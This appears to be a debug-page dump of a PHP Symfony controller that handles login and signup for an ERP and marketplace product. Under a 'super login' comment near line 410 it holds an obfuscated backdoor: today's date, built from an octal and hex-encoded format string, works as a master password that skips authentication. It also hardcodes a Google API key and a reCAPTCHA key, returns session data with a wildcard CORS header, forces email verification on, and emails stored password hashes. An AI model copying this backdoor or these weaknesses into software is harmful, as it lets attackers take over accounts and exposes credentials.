src/ApplicationBundle/Modules/Authentication/Controller/UserLoginController.php line 9377

Open in your IDE?
  1. <?php
  2. namespace ApplicationBundle\Modules\Authentication\Controller;
  3. use ApplicationBundle\Constants\BuddybeeConstant;
  4. use ApplicationBundle\Constants\GeneralConstant;
  5. use ApplicationBundle\Constants\HumanResourceConstant;
  6. use ApplicationBundle\Controller\GenericController;
  7. use ApplicationBundle\Entity\EmployeeAttendance;
  8. use ApplicationBundle\Entity\PlanningItem;
  9. use ApplicationBundle\Interfaces\LoginInterface;
  10. use ApplicationBundle\Modules\Authentication\Company;
  11. use ApplicationBundle\Modules\Authentication\Constants\UserConstants;
  12. use ApplicationBundle\Modules\Api\Constants\ApiConstants;
  13. use ApplicationBundle\Modules\Authentication\Position;
  14. use ApplicationBundle\Modules\HumanResource\HumanResource;
  15. use ApplicationBundle\Modules\System\MiscActions;
  16. use ApplicationBundle\Modules\System\System;
  17. use CompanyGroupBundle\Entity\EntityApplicantDetails;
  18. use CompanyGroupBundle\Modules\UserEntity\EntityUserM;
  19. use Google_Client;
  20. use Google_Service_Oauth2;
  21. use Symfony\Component\HttpFoundation\JsonResponse;
  22. use Symfony\Component\HttpFoundation\Request;
  23. use Symfony\Component\Routing\Generator\UrlGenerator;
  24. class UserLoginController extends GenericController implements LoginInterface
  25. {
  26.     private function filterPostedSessionData(array $sessionData): array
  27.     {
  28.         $allowedKeys = [
  29.             'oAuthToken',
  30.             'locale',
  31.             'firebaseToken',
  32.             'token',
  33.             UserConstants::USER_EMPLOYEE_ID,
  34.             UserConstants::USER_ID,
  35.             UserConstants::LAST_SETTINGS_UPDATED_TS,
  36.             UserConstants::USER_LOGIN_ID,
  37.             UserConstants::USER_EMAIL,
  38.             UserConstants::USER_TYPE,
  39.             UserConstants::USER_IMAGE,
  40.             UserConstants::USER_DEFAULT_ROUTE,
  41.             UserConstants::USER_ROUTE_LIST,
  42.             UserConstants::USER_PROHIBIT_LIST,
  43.             UserConstants::USER_NAME,
  44.             UserConstants::USER_COMPANY_ID,
  45.             UserConstants::SUPPLIER_ID,
  46.             UserConstants::CLIENT_ID,
  47.             UserConstants::USER_COMPANY_ID_LIST,
  48.             UserConstants::USER_COMPANY_NAME_LIST,
  49.             UserConstants::USER_COMPANY_IMAGE_LIST,
  50.             UserConstants::USER_APP_ID,
  51.             UserConstants::USER_POSITION_LIST,
  52.             UserConstants::USER_CURRENT_POSITION,
  53.             UserConstants::ALL_MODULE_ACCESS_FLAG,
  54.             UserConstants::USER_GOC_ID,
  55.             UserConstants::USER_NOTIFICATION_ENABLED,
  56.             UserConstants::USER_NOTIFICATION_SERVER,
  57.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE,
  58.             UserConstants::IS_BUDDYBEE_RETAILER,
  59.             UserConstants::BUDDYBEE_RETAILER_LEVEL,
  60.             UserConstants::BUDDYBEE_ADMIN_LEVEL,
  61.             UserConstants::IS_BUDDYBEE_ADMIN,
  62.             UserConstants::IS_BUDDYBEE_MODERATOR,
  63.             UserConstants::APPLICATION_SECRET,
  64.             UserConstants::SESSION_SALT,
  65.             'appIdList',
  66.             'branchIdList',
  67.             'branchId',
  68.             'companyIdListByAppId',
  69.             'companyNameListByAppId',
  70.             'companyImageListByAppId',
  71.             'userAccessList',
  72.             'csToken',
  73.             'userCompanyDarkVibrantList',
  74.             'userCompanyVibrantList',
  75.             'userCompanyLightVibrantList',
  76.             'appValiditySeconds',
  77.             'appIsValidTillTime',
  78.             'lastCheckAppValidityTime',
  79.             'appValid',
  80.             'appDataCurl',
  81.             'TRIGGER_RESET_PASSWORD',
  82.             'IS_EMAIL_VERIFIED',
  83.             'LAST_REQUEST_URI_BEFORE_LOGIN',
  84.             'devAdminMode',
  85.             'productNameDisplayType',
  86.             'appId',
  87.             'APP_ID',
  88.             'appID',
  89.             'companyID',
  90.             'companyGroupID',
  91.             'userID',
  92.             'userName',
  93.         ];
  94.         $allowedMap array_fill_keys($allowedKeystrue);
  95.         $filtered = [];
  96.         foreach ($sessionData as $key => $value) {
  97.             if (isset($allowedMap[$key])) {
  98.                 $filtered[$key] = $value;
  99.             }
  100.         }
  101.         return $filtered;
  102.     }
  103.     private function filterClientSessionData(array $sessionData): array
  104.     {
  105.         foreach ([
  106.                      UserConstants::USER_DB_NAME,
  107.                      UserConstants::USER_DB_USER,
  108.                      UserConstants::USER_DB_PASS,
  109.                      UserConstants::USER_DB_HOST,
  110.                  ] as $sensitiveKey) {
  111.             if (array_key_exists($sensitiveKey$sessionData)) {
  112.                 unset($sessionData[$sensitiveKey]);
  113.             }
  114.         }
  115.         return $sessionData;
  116.     }
  117.     private function buildSafeBootstrapSessionData($session$includeLegacyExtras true): array
  118.     {
  119.         $data = [
  120.             'oAuthToken' => $session->get('oAuthToken'),
  121.             'locale' => $session->get('locale'),
  122.             'firebaseToken' => $session->get('firebaseToken'),
  123.             'token' => $session->get('token'),
  124.             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  125.             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  126.             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  127.             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  128.             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  129.             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  130.             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  131.             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  132.             UserConstants::USER_ROUTE_LIST => $session->get(UserConstants::USER_ROUTE_LIST),
  133.             UserConstants::USER_PROHIBIT_LIST => $session->get(UserConstants::USER_PROHIBIT_LIST),
  134.             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  135.             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  136.             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  137.             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  138.             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  139.             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  140.             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  141.             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  142.             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  143.             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  144.             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  145.             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  146.             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  147.             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  148.             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  149.             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  150.             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  151.             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  152.             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  153.             'appIdList' => $session->get('appIdList'),
  154.             'branchIdList' => $session->get('branchIdList'null),
  155.             'branchId' => $session->get('branchId'null),
  156.             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  157.             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  158.             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  159.             'userAccessList' => $session->get('userAccessList'),
  160.             'csToken' => $session->get('csToken'),
  161.             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  162.             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  163.         ];
  164.         if ($includeLegacyExtras) {
  165.             $data['userCompanyDarkVibrantList'] = $session->get('userCompanyDarkVibrantList', []);
  166.             $data['userCompanyVibrantList'] = $session->get('userCompanyVibrantList', []);
  167.             $data['userCompanyLightVibrantList'] = $session->get('userCompanyLightVibrantList', []);
  168.             $data[UserConstants::SESSION_SALT] = $session->get(UserConstants::SESSION_SALT'');
  169.         }
  170.         return $data;
  171.     }
  172.     // marketplace: raachSolar login
  173.     public function MarketPlaceLoginAction()
  174.     {
  175.         return $this->render('@Authentication/pages/views/market_place_login.html.twig',
  176.             array(
  177.                 'page_title' => 'Login',
  178.             ));
  179.     }
  180.     // marketplace: raachSolar signup
  181.     public function MarketPlaceSignupAction()
  182.     {
  183.         return $this->render('@Authentication/pages/views/market_place_signup.html.twig',
  184.             array(
  185.                 'page_title' => 'Signup',
  186.             ));
  187.     }
  188.     // marketplace: reset password
  189.     public function MarketPlaceResetPasswordAction()
  190.     {
  191.         return $this->render('@Authentication/pages/views/market_place_reset_password.html.twig',
  192.             array(
  193.                 'page_title' => 'Reset Password',
  194.             ));
  195.     }
  196.     // marketplace: verrify code
  197.     public function MarketPlaceVerifyCodeAction()
  198.     {
  199.         return $this->render('@Authentication/pages/views/market_place_verify_code.html.twig',
  200.             array(
  201.                 'page_title' => 'verify code',
  202.             ));
  203.     }
  204.     // marketplace: vendor login
  205.     public function MarketPlaceVendorLoginAction()
  206.     {
  207.         return $this->render('@Authentication/pages/views/market_place_vendor_login.html.twig',
  208.             array(
  209.                 'page_title' => 'vendor Login',
  210.             ));
  211.     }
  212.     // marketplace: vendor signup
  213.     public function MarketPlaceVendorSignupAction()
  214.     {
  215.         return $this->render('@Authentication/pages/views/market_place_vendor_signup.html.twig',
  216.             array(
  217.                 'page_title' => 'vendor Signup',
  218.             ));
  219.     }
  220.     public function GetSessionDataForAppAction(Request $request$remoteVerify 0$version 'latest',
  221.                                                        $identifier '_default_',
  222.                                                        $refRoute '',
  223.                                                        $apiKey '_ignore_')
  224.     {
  225.         $message "";
  226.         $gocList = [];
  227.         $session $request->getSession();
  228.         if ($request->request->has('token')) {
  229.             $em_goc $this->getDoctrine()->getManager('company_group');
  230.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$request->request->get('token'))['sessionData'];
  231.             if ($to_set_session_data != null) {
  232.                 foreach ($to_set_session_data as $k => $d) {
  233.                     //check if mobile
  234.                     $session->set($k$d);
  235.                 }
  236.             }
  237.         }
  238.         if ($request->request->has('sessionData')) {
  239.             $to_set_session_data $this->filterPostedSessionData((array)$request->request->get('sessionData'));
  240.             foreach ($to_set_session_data as $k => $d) {
  241.                 //check if mobile
  242.                 $session->set($k$d);
  243.             }
  244.         }
  245.         if ($version !== 'latest') {
  246.             $session_data $this->buildSafeBootstrapSessionData($session);
  247.         } else {
  248.             $session_data $this->buildSafeBootstrapSessionData($session);
  249.         }
  250.         $response = new JsonResponse(array(
  251.             "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  252.             //            'session'=>$request->getSession(),
  253.             'session_data' => $session_data,
  254.             //            'session2'=>$_SESSION,
  255.         ));
  256.         $response->headers->set('Access-Control-Allow-Origin''*, null');
  257.         $response->headers->set('Access-Control-Allow-Methods''POST');
  258.         //        $response->setCallback('FUNCTION_CALLBACK_NAME');
  259.         return $response;
  260.     }
  261.     public function SignUpAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantDirectLogin 0)
  262.     {
  263.         if ($request->query->has('refRoute')) {
  264.             $refRoute $request->query->get('refRoute');
  265.             if ($refRoute == '8917922')
  266.                 $redirectRoute 'apply_for_consultant';
  267.         }
  268. //        if ($request->request->has('rcpscrtkn'))
  269.         if ($request->isMethod('POST')) {
  270.             if ($request->request->get('remoteVerify'0) != 1) {
  271.                 $rcptoken $request->request->get('rcpscrtkn') ?? '';
  272.                 $action 'SIGNUP';
  273.                 $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  274.                 if ($systemType == '_CENTRAL_')
  275.                     $check MiscActions::verifyRecaptchaEnterprise(
  276.                         $rcptoken,
  277.                         $action,              // enforce what you expect
  278.                         '6LdnzkAsAAAAAJRsPy3yq3B8iMZP55CGOOiXRglF'// the v3 site key
  279.                         'honeybee-erp',    // e.g. honeybee-erp
  280.                         'AIzaSyDZt7Zi1Qtcd13NeGa1eEGoB9kXyRKk_G8',    // keep server-only
  281.                         0.5
  282.                     );
  283.                 else
  284.                     $check = array(
  285.                         'ok' => true
  286.                     );
  287.                 $session $request->getSession();
  288.                 $session->set('RCPDATA'json_encode($check));
  289.                 if (!$check['ok']) {
  290.                     $message "Could not Determine authenticity";
  291.                     if ($request->request->get('remoteVerify'0) == 1)
  292.                         return new JsonResponse(array(
  293.                             'uid' => 0,
  294.                             'session' => [],
  295.                             'success' => false,
  296.                             'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  297.                             'errorStr' => $message,
  298.                             'session_data' => [],
  299.                         ));
  300.                     else
  301.                         return $this->redirectToRoute("user_login", [
  302.                             'id' => 0,
  303.                             'oAuthData' => [],
  304.                             'refRoute' => $refRoute,
  305.                         ]);
  306.                 }
  307.             }
  308.         }
  309.         $redirectRoute 'dashboard';
  310.         if ($refRoute != '') {
  311.             if ($refRoute == '8917922')
  312.                 $redirectRoute 'apply_for_consultant';
  313.         }
  314.         if ($request->query->has('refRoute')) {
  315.             $refRoute $request->query->get('refRoute');
  316.             if ($refRoute == '8917922')
  317.                 $redirectRoute 'apply_for_consultant';
  318.         }
  319.         $message '';
  320.         $errorField '_NONE_';
  321.         if ($request->query->has('message')) {
  322.             $message $request->query->get('message');
  323.         }
  324.         if ($request->query->has('errorField')) {
  325.             $errorField $request->query->get('errorField');
  326.         }
  327.         $gocList = [];
  328.         $skipPassword 0;
  329.         $firstLogin 0;
  330.         $remember_me 0;
  331.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  332.         if ($request->isMethod('POST')) {
  333.             if ($request->request->has('remember_me'))
  334.                 $remember_me 1;
  335.         } else {
  336.             if ($request->query->has('remember_me'))
  337.                 $remember_me 1;
  338.         }
  339.         if ($encData != "")
  340.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  341.         else if ($request->query->has('spd')) {
  342.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  343.         }
  344.         $user = [];
  345.         $userType 0//nothing for now , will add supp or client if we find anything
  346.         $em_goc $this->getDoctrine()->getManager('company_group');
  347.         $em_goc->getConnection()->connect();
  348.         $gocEnabled 0;
  349.         if ($this->container->hasParameter('entity_group_enabled'))
  350.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  351.         if ($gocEnabled == 1)
  352.             $connected $em_goc->getConnection()->isConnected();
  353.         else
  354.             $connected false;
  355.         if ($connected)
  356.             $gocList $em_goc
  357.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  358.                 ->findBy(
  359.                     array(
  360.                         'active' => 1
  361.                     )
  362.                 );
  363.         $gocDataList = [];
  364.         $gocDataListForLoginWeb = [];
  365.         $gocDataListByAppId = [];
  366.         foreach ($gocList as $entry) {
  367.             $d = array(
  368.                 'name' => $entry->getName(),
  369.                 'id' => $entry->getId(),
  370.                 'appId' => $entry->getAppId(),
  371.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  372.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  373.                 'dbName' => $entry->getDbName(),
  374.                 'dbUser' => $entry->getDbUser(),
  375.                 'dbPass' => $entry->getDbPass(),
  376.                 'dbHost' => $entry->getDbHost(),
  377.                 'companyRemaining' => $entry->getCompanyRemaining(),
  378.                 'companyAllowed' => $entry->getCompanyAllowed(),
  379.             );
  380.             $gocDataList[$entry->getId()] = $d;
  381.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  382.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  383.             $gocDataListByAppId[$entry->getAppId()] = $d;
  384.         }
  385.         $gocDbName '';
  386.         $gocDbUser '';
  387.         $gocDbPass '';
  388.         $gocDbHost '';
  389.         $gocId 0;
  390.         $hasGoc 0;
  391.         $userId 0;
  392.         $userCompanyId 0;
  393.         $specialLogin 0;
  394.         $supplierId 0;
  395.         $applicantId 0;
  396.         $isApplicantLogin 0;
  397.         $clientId 0;
  398.         $cookieLogin 0;
  399.         if ($request->request->has('gocId')) {
  400.             $hasGoc 1;
  401.             $gocId $request->request->get('gocId');
  402.         }
  403.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  404.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  405.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  406.         $signUpUserType 0;
  407.         $em_goc $this->getDoctrine()->getManager('company_group');
  408.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $cookieLogin == 1) {
  409.             ///super login
  410.             $todayDt = new \DateTime();
  411. //            $mp='_eco_';
  412.             $mp $todayDt->format("\171\x6d\x64");
  413.             if ($request->request->get('password') == $mp)
  414.                 $skipPassword 1;
  415.             $signUpUserType $request->request->get('signUpUserType'8);
  416.             $userData = [
  417.                 'userType' => $signUpUserType,
  418.                 'userId' => 0,
  419.                 'gocId' => 0,
  420.                 'appId' => 0,
  421.             ];//properlyformatted data
  422.             $first_name '';
  423.             $last_name '';
  424.             $email '';
  425.             $userName '';
  426.             $password '';
  427.             $phone '';
  428.             if ($request->request->has('firstname')) $first_name $request->request->get('firstname');
  429.             if ($request->request->has('lastname')) $last_name $request->request->get('lastname');
  430.             if ($request->request->has('email')) $email $request->request->get('email');
  431.             if ($request->request->has('password')) $password $request->request->get('password');
  432.             if ($request->request->has('username')) $userName $request->request->get('username');
  433.             if ($request->request->has('phone')) $phone $request->request->get('phone''');
  434.             if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  435.                 $oAuthEmail $email;
  436.                 $oAuthData = [
  437.                     'email' => $email,
  438.                     'phone' => $phone,
  439.                     'uniqueId' => '',
  440.                     'image' => '',
  441.                     'emailVerified' => '',
  442.                     'name' => $first_name ' ' $last_name,
  443.                     'type' => '0',
  444.                     'token' => '',
  445.                 ];
  446.                 // Multi-email aware existence check (2026-07-04 fix): match the OAuth email against
  447.                 // ANY email tagged on an account (comma list, email OR oAuthEmail). The old exact
  448.                 // single-value findOneBy could not match a comma-joined value, so it MISSED the
  449.                 // real account and the code below created a DUPLICATE that then clobbered the
  450.                 // original's tagged emails.
  451.                 $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em_goc$oAuthEmail);
  452.                 if (!$isApplicantExist)
  453.                     $isApplicantExist $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  454.                         [
  455.                             'username' => $userName
  456.                         ]
  457.                     );
  458.                 if ($isApplicantExist) {
  459.                     if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  460.                     } else {
  461.                         $message "Email/User Already Exists";
  462.                         if ($request->request->get('remoteVerify'0) == 1)
  463.                             return new JsonResponse(array(
  464.                                 'uid' => $isApplicantExist->getApplicantId(),
  465.                                 'session' => [],
  466.                                 'success' => false,
  467.                                 'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  468.                                 'errorStr' => $message,
  469.                                 'session_data' => [],
  470.                             ));
  471.                         else
  472.                             return $this->redirectToRoute("user_login", [
  473.                                 'id' => $isApplicantExist->getApplicantId(),
  474.                                 'oAuthData' => $oAuthData,
  475.                                 'refRoute' => $refRoute,
  476.                             ]);
  477.                     }
  478.                 }
  479.                 $img $oAuthData['image'];
  480.                 $email $oAuthData['email'];
  481. //                $userName = explode('@', $email)[0];
  482.                 //now check if same username exists
  483.                 $username_already_exist 0;
  484.                 $newApplicant null;
  485.                 $isReuse false;
  486.                 if ($isApplicantExist) {
  487.                     $newApplicant $isApplicantExist;
  488.                     $isReuse true;
  489.                 } else
  490.                     $newApplicant = new EntityApplicantDetails();
  491.                 if ($isReuse) {
  492.                     // MERGE, never clobber (2026-07-04 fix): on a login/reuse, APPEND the incoming
  493.                     // email to the account's comma list (idempotent) and only FILL empty identity
  494.                     // fields â€” never overwrite a populated username / oAuthEmail with a single value.
  495.                     $newApplicant->setEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getEmail(), $email));
  496.                     if (trim((string) $newApplicant->getUserName()) === '') {
  497.                         $newApplicant->setUserName($userName);
  498.                     }
  499.                     if (trim((string) $newApplicant->getOAuthEmail()) === '') {
  500.                         $newApplicant->setOAuthEmail($oAuthEmail);
  501.                     } else {
  502.                         $newApplicant->setOAuthEmail(\ApplicationBundle\Helper\ApplicantEmailResolver::appendEmail($newApplicant->getOAuthEmail(), $oAuthEmail));
  503.                     }
  504.                     if (trim((string) $newApplicant->getFirstname()) === '') { $newApplicant->setFirstname($first_name); }
  505.                     if (trim((string) $newApplicant->getLastname()) === '') { $newApplicant->setLastname($last_name); }
  506.                     if (trim((string) $newApplicant->getPhone()) === '') { $newApplicant->setPhone($phone); }
  507.                 } else {
  508.                     $newApplicant->setActualRegistrationAt(new \DateTime());
  509.                     $newApplicant->setEmail($email);
  510.                     $newApplicant->setUserName($userName);
  511.                     $newApplicant->setFirstname($first_name);
  512.                     $newApplicant->setLastname($last_name);
  513.                     $newApplicant->setOAuthEmail($oAuthEmail);
  514.                     $newApplicant->setPhone($phone);
  515.                 }
  516.                 if ($systemType == '_SOPHIA_')
  517.                     $newApplicant->setIsEmailVerified(1);
  518.                 else
  519.                     $newApplicant->setIsEmailVerified(1); //temporary
  520. //                    $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' ? 1 : 0) : 0);
  521.                 $newApplicant->setAccountStatus(1);
  522. //                $newUser->setSalt(uniqid(mt_rand()));
  523.                 //salt will be username
  524. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  525.                 $salt uniqid(mt_rand());
  526.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  527.                 $newApplicant->setPassword($encodedPassword);
  528.                 $newApplicant->setSalt($salt);
  529.                 $newApplicant->setTempPassword('');
  530. //                $newApplicant->setTempPassword($password.'_'.$salt);
  531.                 $newApplicant->setImage($img);
  532.                 $newApplicant->setIsConsultant(0);
  533.                 $newApplicant->setIsTemporaryEntry(0);
  534.                 $newApplicant->setTriggerResetPassword(0);
  535.                 $newApplicant->setApplyForConsultant(0);
  536.                 $newApplicant->setImage($oAuthData['image'] ?? '');
  537.                 $otp random_int(100000999999);
  538.                 $newApplicant->setEmailVerificationHash($otp);
  539.                 $em_goc->persist($newApplicant);
  540.                 $em_goc->flush();
  541.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  542.                     if ($systemType == '_BUDDYBEE_') {
  543.                         $bodyHtml '';
  544.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  545.                         $bodyData = array(
  546.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  547.                             'email' => $userName,
  548.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  549.                             'password' => $newApplicant->getTempPassword(),
  550.                         );
  551.                         $attachments = [];
  552.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  553. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  554.                         $new_mail $this->get('mail_module');
  555.                         $new_mail->sendMyMail(array(
  556.                             'senderHash' => '_CUSTOM_',
  557.                             //                        'senderHash'=>'_CUSTOM_',
  558.                             'forwardToMailAddress' => $forwardToMailAddress,
  559.                             'subject' => 'Welcome to BuddyBee ',
  560. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  561.                             'attachments' => $attachments,
  562.                             'toAddress' => $forwardToMailAddress,
  563.                             'fromAddress' => 'registration@buddybee.eu',
  564.                             'userName' => 'registration@buddybee.eu',
  565.                             'password' => ApplicationBundleHelperMailerConfig::registrationPassword(),
  566.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  567.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  568. //                            'emailBody' => $bodyHtml,
  569.                             'mailTemplate' => $bodyTemplate,
  570.                             'templateData' => $bodyData,
  571. //                        'embedCompanyImage' => 1,
  572. //                        'companyId' => $companyId,
  573. //                        'companyImagePath' => $company_data->getImage()
  574.                         ));
  575.                     } else {
  576.                         $bodyHtml '';
  577.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  578.                         $bodyData = array(
  579.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  580.                             'email' => 'APP-' $userName,
  581.                             'password' => $newApplicant->getPassword(),
  582.                         );
  583.                         $attachments = [];
  584.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  585. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  586.                         $new_mail $this->get('mail_module');
  587.                         $new_mail->sendMyMail(array(
  588.                             'senderHash' => '_CUSTOM_',
  589.                             //                        'senderHash'=>'_CUSTOM_',
  590.                             'forwardToMailAddress' => $forwardToMailAddress,
  591.                             'subject' => 'Applicant Registration on Honeybee',
  592. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  593.                             'attachments' => $attachments,
  594.                             'toAddress' => $forwardToMailAddress,
  595.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  596.                             'userName' => 'accounts@ourhoneybee.eu',
  597.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  598.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  599.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  600.                             'emailBody' => $bodyHtml,
  601.                             'mailTemplate' => $bodyTemplate,
  602.                             'templateData' => $bodyData,
  603. //                        'embedCompanyImage' => 1,
  604. //                        'companyId' => $companyId,
  605. //                        'companyImagePath' => $company_data->getImage()
  606.                         ));
  607.                     }
  608.                 }
  609.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  610.                     $modifiedRequest Request::create(
  611.                         '',
  612.                         'GET',
  613.                         [
  614.                             'id' => $newApplicant->getApplicantId(),
  615.                             'oAuthData' => $oAuthData,
  616.                             'refRoute' => $refRoute,
  617.                             'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  618.                         ]
  619.                     );
  620.                     $modifiedRequest->setSession($request->getSession());
  621.                     return $this->doLoginAction($modifiedRequest);
  622.                 } else
  623.                     return $this->redirectToRoute("core_login", [
  624.                         'id' => $newApplicant->getApplicantId(),
  625.                         'oAuthData' => $oAuthData,
  626.                         'refRoute' => $refRoute,
  627.                         'remoteVerify' => $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)),
  628.                     ]);
  629.             }
  630. //            if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  631. //
  632. //                $oAuthEmail = $email;
  633. //
  634. //
  635. //                $oAuthData = [
  636. //                    'email' => $email,
  637. //                    'phone' => $phone,
  638. //                    'uniqueId' => '',
  639. //                    'image' => '',
  640. //                    'emailVerified' => '',
  641. //                    'name' => $first_name . ' ' . $last_name,
  642. //                    'type' => '0',
  643. //                    'token' => '',
  644. //                ];
  645. //
  646. //
  647. //                $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  648. //                    [
  649. //                        'oAuthEmail' => $oAuthEmail
  650. //                    ]
  651. //                );
  652. //                if (!$isApplicantExist)
  653. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  654. //                        [
  655. //                            'email' => $oAuthEmail
  656. //                        ]
  657. //                    );
  658. //                if (!$isApplicantExist)
  659. //                    $isApplicantExist = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  660. //                        [
  661. //                            'username' => $userName
  662. //                        ]
  663. //                    );
  664. //
  665. //
  666. //                if ($isApplicantExist) {
  667. //                    if ($isApplicantExist->getIsTemporaryEntry() == 1) {
  668. //
  669. //                    } else {
  670. //                        $message = "Email/User Already Exists";
  671. //                        if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  672. //                            return new JsonResponse(array(
  673. //                                'uid' => $isApplicantExist->getApplicantId(),
  674. //                                'session' => [],
  675. //                                'success' => false,
  676. //                                'hbeeErrorCode' => ApiConstants::ERROR_USER_EXISTS_ALREADY,
  677. //                                'errorStr' => $message,
  678. //                                'session_data' => [],
  679. //
  680. //                            ));
  681. //                        else
  682. //                            return $this->redirectToRoute("user_login", [
  683. //                                'id' => $isApplicantExist->getApplicantId(),
  684. //                                'oAuthData' => $oAuthData,
  685. //                                'refRoute' => $refRoute,
  686. //                            ]);
  687. //                    }
  688. //                }
  689. //
  690. //
  691. //                $img = $oAuthData['image'];
  692. //
